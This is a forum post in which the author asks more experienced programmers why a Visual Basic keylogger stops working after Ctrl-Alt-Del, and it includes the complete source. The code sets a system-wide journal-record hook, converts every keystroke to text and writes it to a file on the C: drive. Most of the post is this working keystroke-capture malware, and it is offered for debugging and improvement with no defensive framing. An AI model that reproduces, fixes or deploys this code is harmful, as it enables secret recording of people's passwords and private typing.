keylog problems....Serge, Hack, Stanich, SeaHag...I need the big boys on this one

[ejy]

This keylogger works fine until ctrl-alt-del is pressed. Then it stops.

If someone could pinpoint the lines that are causing the problem I would be most appreciative.



In a command button:

Keylogger

In a module:

Private Type EVENTMSG
        message As Long
        paramL As Long
        paramH As Long
        time As Long
        hwnd As Long
End Type
 
Private Type POINTAPI
        x As Long
        y As Long
End Type
 
Private Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type
 
Private Type CWPSTRUCT
        lParam As Long
        wParam As Long
        message As Long
        hwnd As Long
End Type
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
 
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
 
Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3
Private Const WH_CALLWNDPROC = 4
 
Private Const WM_CANCELJOURNAL = &H4B
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
 
Private Const VK_CANCEL = &H3
 
Private lHookID As Long
Private lAppHookID As Long
 
Private sFile As String
Public existing, password
 
 
 
Sub Keylogger()
 
On Error Resume Next
 
    'Only start one instance of this app
    If App.PrevInstance Then Exit Sub
    
    'Allow the user to pass a File name/path to the App which will be used to store the keys
    sFile = Command
    If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
    
    
    If Len(Dir(sFile)) Then Kill$ sFile
    
    'Set an application hook to monitor for messages sent to this app
    lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
    'Set a system hook to monitor certain messages sent to other applications in the o/s.
    lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
    'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
    While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
        DoEvents
    Wend
    'Remove the System hook if necessary
    If lHookID Then Call UnhookWindowsHookEx(lHookID)
    'Remove the application hook
    Call UnhookWindowsHookEx(lAppHookID)
  
   End Sub
 
 
 
Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tMSG As MSG
    
    If Code < 0 Then
        'Pass the message along...
        GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the MSG structure
        CopyMemory tMSG, ByVal lParam, Len(tMSG)
        Select Case tMSG.message
        
        Case WM_CANCELJOURNAL
            'An external process has requested us to stop this operation
            Call UnhookWindowsHookEx(lHookID)
            lHookID = 0
    
        Case WM_KEYDOWN, WM_KEYUP
            If tMSG.wParam = VK_CANCEL Then
                'The user has canceled the operation (CTRL + BREAK)
                Call UnhookWindowsHookEx(lHookID)
                lHookID = 0
            End If
 
        End Select
    End If
End Function
 
 
 
Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Dim tEVENTMSG As EVENTMSG
    Dim bKeys(255) As Byte
    Dim lAscII As Long
    Dim iFile As Integer
    
    If Code < 0 Then
        'Pass this message along...
        JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
    Else
        'Grab the Event Message Structure
        CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
        
        Select Case tEVENTMSG.message
        
        Case WM_KEYDOWN
            'Track Keypresses....
            'Get the current state of the Keyboard (used to determine special keys)
            Call GetKeyboardState(bKeys(0))
            'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
            Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
            'If it's avalid ASCII value, Log it.
            If lAscII Then
                'Debug.Print Chr(lAscII);
                iFile = FreeFile
                Open sFile For Append As iFile
                
                'if enter is pressed then a new line is saved
                If lAscII = 13 Then
                Print #iFile, Chr(lAscII)
                Else
                'if enter is not pressed then there is no new line
                Print #iFile, Chr(lAscII);
                End If
                Close iFile
                
            End If
                End Select
    
    
    
    End If
    
 
End Function